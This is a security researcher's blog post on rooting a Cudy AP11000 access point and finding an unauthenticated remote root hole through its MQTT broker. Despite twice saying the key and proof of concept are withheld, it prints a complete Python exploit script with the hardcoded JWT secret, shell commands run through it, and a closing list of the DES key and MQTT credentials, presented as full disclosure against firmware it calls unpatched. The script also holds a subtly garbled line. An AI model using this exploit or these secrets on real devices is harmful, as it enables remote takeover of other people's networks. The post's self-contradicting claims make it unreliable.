Mosquitto Bite
2026-12-05
This started as a password reset. I have a Cudy AP11000 on the bench, a cheap tri-band WiFi 7 access point that genuinely performs well, which is the only reason I own more than one. I had rooted it a few months earlier for other reasons, set it down, got busy with the rest of my life, and came back to it in September to find I could not log into the web interface. Not the usual passwords, not the one I was sure I had set. The one thing I wanted was back into LuCI. The one thing I got was a remote root shell that anyone on the network already had.
The order of events here is important, because in hindsight this looks like a tidy escalation from "forgot password" to "critical RCE" and it absolutely was not. It was a password reset that went sideways, a self-inflicted lockout, and then a completely unrelated thing I noticed out of the corner of my eye while cleaning up the first mess. The good bugs never arrive when you are looking for them.
How I had a shell here in the first place
The "rooted it months earlier" throwaway in that first paragraph was itself a multi-day ordeal that deserves its own telling, so here is the compressed version. The board is a Qualcomm IPQ5332 running U-Boot 2016.01 with secure boot off, and it has an unpopulated four-pin UART header, which is an engraved invitation. I soldered to the pads and hung a USB-TTL adapter off them, expecting the usual five-minute serial console.
It was not five minutes. It was days, and almost all of them were spent being wrong in increasingly confident ways. The serial output was clean, but anything I typed came back garbled, dropped, or doubled. I decided the receive line was physically dead. It was not. I decided, after that, that the vendor had disabled the autoboot abort on purpose. Also wrong. The actual cause was embarrassingly analog: the SoC UART is 1.8V logic and my adapter was driving it at 3.3V, on top of a flaky dupont ground that turned every third bit into a coin flip. Solder a proper ground, get the levels right, and the console suddenly types back cleanly. Half the "firmware is blocking me" theories in my notes were a loose wire the whole time.
With serial working I still could not stop autoboot. U-Boot prints a one second window at power-on:
input <abort key> to stop autoboot in 1s
and <abort key> is not a placeholder the firmware fills in. It is the literal
string it prints. The bootloader offers you a door, tells you it needs a key, and declines to say
which one. Ctrl-C did nothing. Escape did nothing. Every key did nothing, which sent me back to the
"it's disabled" theory for the second time. To even get enough attempts at a one second window I
automated it, by driving the power through a TP-Link Kasa smart plug, which speaks an
unauthenticated XOR-"encrypted" protocol over TCP 9999 that I could script. So the setup was one
insecure IoT device cutting power to another so I could brute-force the boot timing of the second.
I did not love what that said about my house.
The key itself I had to go get. I pulled the U-Boot image out of the firmware's FIT container with
dumpimage and disassembled it. It is Thumb-2, stripped, but the autoboot routine is
short. Qualcomm's keyed-autoboot reads two environment variables, bootstopkey and
bootdelaykey, and compares your keystrokes against them. This device sets neither in
its saved environment, which is exactly why nothing matched: there was no configured key to hit.
But the disassembly showed what happens when those variables are unset, which is that the code
falls back to a compiled-in default stop string and does a rolling comparison of the last few
characters you type against it. That default string, sitting in the binary as four bytes, is:
63 73 70 00 -> "csp"
The secret knock was csp. Not a chord, not a control code, just three lowercase
letters, no Enter after them, because a trailing newline spoils the tail comparison. I had spent
more time than I will admit typing Ctrl-C at a prompt that only ever wanted to be told
csp. Flood those three bytes through the one second window and the board drops to a
IPQ5332# prompt, at which point root is a one-liner, because secure boot is off and
nothing checks the kernel command line:
IPQ5332# setenv bootargs 'console=ttyMSM0,115200n8 init=/bin/sh' IPQ5332# bootipq ... Run /bin/sh as init process ~ # id uid=0(root) gid=0(root)
Root, non-destructive, repeatable, and entirely useless to anyone who is not physically holding the device with a soldering iron. Keep that last part in mind, because it is the whole distinction between this section and the one near the end of the post. This was me earning a shell on my own hardware the hard way. The thing I found later does not require any of it.
The backup format, while I was in there
Once I had root I did the usual post-root tourism, and the stop worth describing is the config
backup. LuCI has a "backup" button that hands you an encrypted blob, and a "restore" that takes
one back. The encryption is Cudy's own, a small binary called crypt, so I disassembled
that too. The scheme is almost quaint. It derives an AES-128 key by running MD5 over a few
board-data strings, with a different recipe per mode:
normal config backup key = MD5( hostname + "@" + <board secret> ) diagnosis export key = MD5( "@" + <board secret> ) generic aes/hex mode key = MD5( <board> + "@aes#hex" )
AES-128-CBC, a zero IV reset every 1KB chunk, and a genuine bug in the vendor's handling of the
final chunk: any file whose length mod 1024 lands between 1000 and 1023 decrypts with a corrupt
tail. That last one matters if you ever rebuild a backup, because you have to nudge the archive
size out of that range or the device chokes on its own format. I know this because I wrote a Python
reimplementation of the whole thing to decrypt a backup, edit /etc/config, and
re-encrypt it, and the first few rebuilds landed in the cursed size window.
The part that is funny in the way this entire vendor is funny is the <board secret>.
It sounds per-device and, you know, secret. It lives in a separate board-data partition that is
itself encrypted, so you feel like you are peeling an onion. You are not. That partition is
protected by a single static DES key baked into the library, the same bytes on every unit the
company ships (88T3j05dtFu8=, which the WR3000 writeup linked at the end also
documents). The chain of secrets guarding your config backup bottoms out, two layers down, at a
constant you can read out of any firmware image. Encryption all the way down, authentication
nowhere.
There is a sting in the tail of this one that I only understood weeks later, during the password
reset. The same crypt tool, with that same model-derived key, is what the web
interface uses to store the LuCI login password, which is the first thing the next section trips
over. And a restore runs as root and writes whatever files you put in the archive, so a backup you
rebuild yourself is a root-persistence trick on its own, if you are already admin. I am not
shipping a tool for that here, for the same embargo reasons as the main event, but the capability
falls straight out of the format.
Three passwords in a trenchcoat
Cudy's firmware is OpenWrt underneath with a LuCI web interface on top, so resetting the web
password should be a one-liner in /etc/config/luci. I had a root shell, so I went to
look. The first surprise is that the web login password is not a password and is not in
/etc/shadow. It lives in the LuCI config as a blob:
config internal 'sauth' option sessionpath '/tmp/luci-sessions' option sessiontime '3600' option salt 'REDACTED-per-device-32-hex' option defpasswd '0' option admin 'REDACTED-160-hex-ciphertext'
That admin value is 160 hex characters, which is 80 bytes, which is not any hash I
recognised. It is not a hash at all. The client-side login script gave it away. When you log in,
the browser does this:
luci_password = sha256( sha256(password + salt) + token )
So the browser sends a salted SHA-256 of your password, re-hashed with a one-time token. Standard
enough. The question was what the server compares it against, and the answer was in
dispatcher.lua, except dispatcher.lua on this firmware is not source. It
is stripped Lua 5.1 bytecode. There is no official decompiler I trust for stripped 5.1, so I
wrote a tiny disassembler that walks the bytecode and prints the constant table in execution
order, which for this kind of linear glue code is enough to read the logic back out. What it does
is take the stored blob, run it through the Cudy crypt helper to decrypt it, and
compare:
# decrypt the stored value back to the salted hash echo -n '<stored blob>' | crypt -da # -> sha256(password + salt) # then re-hash with the login token and compare to what the browser sent echo -n '<that><token>' | sha256sum
So the web password is not hashed, it is encrypted, with a symmetric cipher, and the key
is derived from the board model, not from anything per-device. Which means the LuCI password is
recoverable offline from the config file for any AP11000, and a config backup contains that file.
File that away; it is a smaller sibling of the theme that runs through this entire device. For the
moment all I wanted was to set a new one, which is: pick a password, compute
sha256(pw + salt), encrypt it with crypt -ea, drop it back into
luci.sauth.admin. Easy.
How to lock yourself out of a router you have root on
It was not easy, because I also "helpfully" ran passwd admin to set the system
password while I was at it, on the entirely reasonable assumption that the web admin and the
system admin were the same account. They are not. And setting the system password did not fix my
login, it destroyed it. The web UI dropped into a modal that asked me to create an
administrator password, and every time I submitted one it just reloaded and asked again. An
infinite "please secure your device" loop, which is a very funny thing for a device to do to the
person holding its root shell.
The reason is buried in that bytecode I had just finished reading, and it is genuinely clever in the way that only accidental things are. The login check short-circuits:
if sys.user.getpasswd(user) then return true -- a system password exists, defer to it end -- otherwise fall through and check luci.sauth.<user>
On a stock unit the admin account has x in its shadow field, meaning no
system password, so getpasswd returns nothing and execution reaches the
luci.sauth check that actually matters. The whole web auth scheme rests on that
account deliberately having no Unix password. By running passwd admin I gave it one,
the short-circuit started firing, the luci.sauth path stopped being consulted, and on
a unit that still thinks it needs first-time setup the create-password screen could never record
that it was done. I had reasoned my way into bricking the exact thing I was trying to fix. The
repair was to put the x back:
sed -i 's/^admin:[^:]*:/admin:x:/' /etc/shadow
I want to be clear that I did this to myself, with root, on purpose, while trying to be helpful. The device's auth model is fragile and under-documented, but the specific way it fell over was me confidently fixing a problem I did not yet understand. Half of reverse engineering is reading the machine. The other half is noticing that you are the unpredictable component in the system.
The part I was not looking for
With the login working again I was poking around the overlay to confirm nothing else was broken,
and I noticed the process list had a thing called cmagent running as root, talking to
a local MQTT broker. Cudy's mesh and phone-app management runs over MQTT. I had seen it before and
ignored it. This time I ran netstat and stopped:
$ netstat -ntlp | grep -E '1883|8883' tcp 0 0 0.0.0.0:8883 0.0.0.0:* LISTEN mosquitto tcp 0 0 0.0.0.0:1883 0.0.0.0:* LISTEN mosquitto
Port 1883 is MQTT in the clear, bound to all interfaces, not loopback. The agent that talks to it
connects to 127.0.0.1, so there is no reason for the broker to be listening on
0.0.0.0 at all, and yet there it is, reachable by anything that can route to the box.
The only thing standing in front of it is the broker's authentication, which is where this stops
being a configuration smell and becomes a hole you can drive through.
The broker uses an auth plugin that checks a JSON Web Token. A JWT is only as good as the key that
signs it, and this key is a fixed string compiled into the cmagent binary. The same
bytes in every firmware image, across every version I pulled, not derived from any per-device
board data. I am not going to print the key here, because at the time of writing the AP11000 is
still unpatched and the key is shared across the product line, but recovering it from a public
firmware image is a strings command and a moment of pattern recognition. Hold that
thought too.
One message, root
Here is the part that made me put my coffee down. The cmagent command handler is a
small Lua file, /usr/lib/lua/cmagent/router/command.lua, and reconstructed it is
almost too plain to believe:
function service_call(id, payload)
local req = cjson.decode(payload)
if id ~= '000000000000' then return end
if req.cmd then
local p = io.popen(req.cmd) -- runs as root
... res.data = p:read('*all') ...
if req.reply then return cjson.encode(res) end
end
end
It decodes the MQTT message, and if there is a cmd field it hands it straight to
io.popen, which is to say straight to a shell, running as root, with the output
helpfully returned to you on a reply topic. There is exactly one input check: the device id in the
topic has to equal 000000000000. That looks like a guard until you realise it is the
device's own id on a standalone unit, so it is satisfied by default. It is not a lock. It is a
default value cosplaying as a lock.
So the whole attack is: connect to port 1883, authenticate with a JWT you signed yourself using the firmware's shared key, and publish a small JSON blob to the command topic.
topic: router/000000000000/000000000000/<seq>/router/command
payload: {"cmd":"id","reply":1}
I wrote a proof of concept with nothing but the Python standard library, no MQTT client, just enough of the wire protocol typed out by hand to connect, authenticate and publish. I am not shipping it here for the same reason I am not printing the key. But it works, and the most important thing about it is where I ran it from. The access point was at my house. The machine I ran the exploit from was in a different building, on a different subnet, three routed hops away. It returned:
uid=0(root) gid=0(root) 2.5.13-20260706-091052
Unauthenticated, remote, root, on the current firmware, from a machine that was never on the same
network segment. No device password. No prior access. And then the detail that genuinely bothers
me: I tested it again against a unit I had just factory reset, sitting on its first-boot "create an
administrator password" screen, before I had given it any password at all. It returned root just
the same. The cmagent daemon comes up and connects on boot regardless of whether the
device has been set up. You can own one of these before its owner has finished taking it out of the
box.
The disclosure, and the race I did not know I was running
I had found this once before, actually. The command handler had caught my eye back in mid-July, during the original rooting work. I found my original POC notes timestamped July 15:
cat > /tmp/cudy_mqtt_cmd_target.py <<'PY'
#!/usr/bin/env python3
import base64, hashlib, hmac, json, socket, sys, time
HOST=sys.argv[1]
TARGET_ID=sys.argv[2]
CMD=sys.argv[3]
SECRET='CLOUDmqttabc&123'
USER='admincudydevice'
def b64u(data): return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def jwt(user):
header=b64u(b'{"typ":"JWT","alg":"HS256"}')
payload=b64u(json.dumps({'username':user,'exp':int(time.time())+3600},separators=(',',':')).encode())
sig=b64u(hmac.new(SECRET.encode(), f'{header}.{payload}'.encode(), hashlib.sha256).digest())
return f'{header}.{payload}.{sig}'
def enc_str(value):
if isinstance(value,str): value=value.encode()
return len(value).to_bytes(2,'big')+value
def rem_len(n):
out=b'"''"'
while True:
digit=n&127; n >>= 7
if n: digit |= 128
out += bytes([digit])
if not n: return out
def connect_packet(client_id):
payload=enc_str(client_id)+enc_str(USER)+enc_str(jwt(USER))
body=enc_str('MQTT')+bytes([4,0xC2])+(30).to_bytes(2,'big')+payload
return b'\x10'+rem_len(len(body))+body
def publish_packet(topic,payload):
body=enc_str(topic)+payload
return b'\x30'+rem_len(len(body))+body
seq=int(time.time()) & 0xffffffff
topic=f'router/{TARGET_ID}/000000000000/{seq}/router/command'
payload=json.dumps({'cmd':CMD},separators=(',',':')).encode()+b'\x00'
s=socket.socket(); s.settimeout(5); s.connect((HOST,1883))
s.sendall(connect_packet(f'codex{seq:x}'[:23]))
connack=s.recv(4)
if connack != b'\x20\x02\x00\x00':
raise SystemExit(f'bad connack: {connack.hex()}')
s.sendall(publish_packet(topic,payload)); time.sleep(.2); s.close()
print(f'published {HOST} {topic}')
PY
TARGET=80afcaec3e1b
echo '-- before --'
/usr/bin/curl -sS -o /dev/null -w '%{http_code}\n' --max-time 5 http://10.2.1.5/luci-static/bootstrap/css/mqtt_rce_probe.txt || true
python3 /tmp/cudy_mqtt_cmd_target.py 10.2.1.5 $TARGET 'echo PROBE_TARGET_MAC > /www/luci-static/bootstrap/css/mqtt_rce_probe.txt; id >> /www/luci-static/bootstrap/css/mqtt_rce_probe.txt; cat /etc/openwrt_release >> /www/luci-static/bootstrap/css/mqtt_rce_probe.txt'
sleep 1
echo '-- fetch --'
/usr/bin/curl -i --max-time 5 http://10.2.1.5/luci-static/bootstrap/css/mqtt_rce_probe.txt | /usr/bin/sed -n '1,80p'
echo '-- cleanup --'
python3 /tmp/cudy_mqtt_cmd_target.py 10.2.1.5 $TARGET 'rm -f /www/luci-static/bootstrap/css/mqtt_rce_probe.txt /www/luci-static/bootstrap/mqtt_rce_probe.txt /www/luci-static/mqtt_rce_probe.txt /www/mqtt_rce_probe.txt'
sleep 0.5
/usr/bin/curl -sS -o /dev/null -w 'cleanup_http_status=%{http_code}\n' --max-time 5 http://10.2.1.5/luci-static/bootstrap/css/mqtt_rce_probe.txt || true
published 10.2.1.5 router/80afcaec3e1b/000000000000/1783481932/router/command
-- fetch --
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
HTTP/1.1 302 Moved Temporarily
Connection: close
Location: http://10.2.1.5/?url=http://10.2.1.5/luci-static/bootstrap/css/mqtt_rce_probe.txt
-- cleanup --
published 10.2.1.5 router/80afcaec3e1b/000000000000/1783481933/router/command
cleanup_http_status=302
When I rediscovered it in September I put together a real POC and did the responsible thing properly this time. Reported it to Cudy through their security form. Filed it with CERT/CC for coordination. Wrote it up with evidence, versions, a CVSS vector, the works.
Cudy's form accepts your report, says "Success," and tells you up front it will not reply unless
it needs more information. It did not need more information. CERT/CC opened a case, then closed it,
because while they were triaging it I found out why it looked familiar to them. The exact same
bug, the hardcoded MQTT JWT key and the io.popen command handler, had been published
weeks earlier as CVE-2026-71960 and
CVE-2026-71961, for the Cudy WR3000,
credited to another researcher through VulnCheck, and fixed in WR3000 firmware on
July 30.
So read that timeline back. I first saw the bug on July 15. The vendor shipped a fix for it, on a different model, on July 30. It went public on August 19. And I, sitting on the identical finding the entire time, rediscovered it in September. I did not get scooped because someone was faster at the research. I got scooped because I treated a critical remote root like a bookmark.
But here is the thing that turned the disappointment back into a reason to keep going. The public
advisory names only the WR3000. It even says, in as many words, that sibling models should be
treated as suspect until their firmware is inspected. The AP11000 is one of those siblings. Cudy
had the fix in hand on July 30 and did not ship it to the AP11000, whose latest firmware is still
the vulnerable 2.5.13-20260706 build. The interesting finding was never "this bug
exists." It was "the vendor already fixed this bug and left an identical, still-selling product
wide open." So I filed a CVE request for the AP11000 as the uncovered sibling, which is still
pending as I write this.
Timeline
| Date | Event |
|---|---|
| 2026-07-15 | I notice the cmagent command handler during unrelated rooting work. Got busy with other things. |
| 2026-07-30 | Cudy ships a fix for the identical bug in the WR3000 firmware. |
| 2026-08-19 | CVE-2026-71960 / 71961 published for the WR3000 (VulnCheck). |
| 2026-09-03 | I rediscover it, validate remote root across subnets and on a factory-fresh unit, I report to Cudy and CERT/CC (VRF#26-09-VZWCV). |
| 2026-09-04 | Find the WR3000 CVEs. Realise the AP11000 is the unpatched sibling. |
| 2026-09-10 | File a CVE request from mitre (CAN-2026-2037395) for the AP11000. Still no response from Cudy. |
| 2026-10-01 | Still no response. From anybody. |
So I started out trying to do the right thing for my first ever RCE discovery (I was really excited, okay?). I reported it privately, gave everyone time to respond, and mostly got silence. In the meantime I discovered that Cudy had already fixed the identical vulnerability in the WR3000 - while leaving the AP11000 and other products sharing the same code vulnerable. Whatever happened behind the scenes, I've done my part. Cudy knows about it, CERT/CC knows about it, and MITRE has the CVE request.
So fuck it. I'm going full disclosure so I can move on and put all this behind me.
The part where this is not really fixed
As of this writing there is no fixed AP11000 firmware. The device's own "check for updates" button
cheerfully reports that 2.5.13-20260706 is the latest, which it is, and which is
vulnerable. You cannot patch your way out of this yet because the patch, for this model, does not
exist, even though the vendor demonstrably knows how to write it and already did for a cousin.
So the mitigations are the boring network ones, and they are the same lesson every cheap connected
device eventually teaches. If you do not use the mesh or the phone app, the agent is still running
and the broker is still listening, so the real fix is at the network boundary. Put the access point
on a management VLAN that cannot be reached from your general or guest networks. Do not expose port
1883 or 8883 to anything you do not control, and certainly not to the internet. The broker binds
0.0.0.0, so it will answer anyone the network lets reach it; your job is to make sure
the network lets almost nobody.
The actual lesson, which is not technical
The technical findings here are almost mundane once you have seen a few of these: a broker bound too wide, a shared secret baked into a binary, a command handler that trusts its own input, a web auth scheme that encrypts where it should hash. None of it is exotic. The parts worth remembering are the two human failures bracketing it. The vendor fixed a critical bug on one product and shipped the identical product next to it still broken, which is what happens when security is a per-SKU afterthought instead of a platform property. And I found a remote root in July and treated it like something to get to later, which is what happens when you forget that a finding only counts once it leaves your notes. The router and I both had the right information at the right time and both filed it under "deal with it eventually." The difference is only that my mistake cost me a CVE credit, and theirs is still live on everything they sell.
Credit and references
The underlying vulnerability class is not my discovery to claim; it was published for the WR3000 by another researcher before I got my act together. My contribution is confirming the same chain on the AP11000 and that it remained unpatched after the WR3000 fix. I reconstructed the mechanism independently from my own hardware in July, before the public advisory, which is cold comfort but true.
- CVE-2026-71960, the hardcoded JWT secret in the Cudy MQTT broker, and CVE-2026-71961, the MQTT command injection, both for the WR3000, credited to Nir Yehoshua via VulnCheck.
- "The same key opens every box", Hunt-Benito's independent analysis of the WR3000 issue, verified against the public firmware images. They did not discover it either; the discovery credit is Yehoshua via VulnCheck. Like this post, their writeup declines to print the key.
- The AP11000 CVE request is pending; this reference will be updated if an identifier is assigned.
I went to reset a password, bricked my own login proving I did not understand the auth model, fixed it, and in the process walked into an unauthenticated remote root that the vendor had already patched somewhere else and forgotten to carry over. The best outcome available to the AP11000 right now is the same one that saved my cameras: a network that does not trust it. The device will not protect you. The VLAN will.
The Secrets
DES Key: 88T3j05dtFu8= SECRET: CLOUDmqttabc&123 USER: admincudydevice TOPIC: $SYS/broker/clients/connected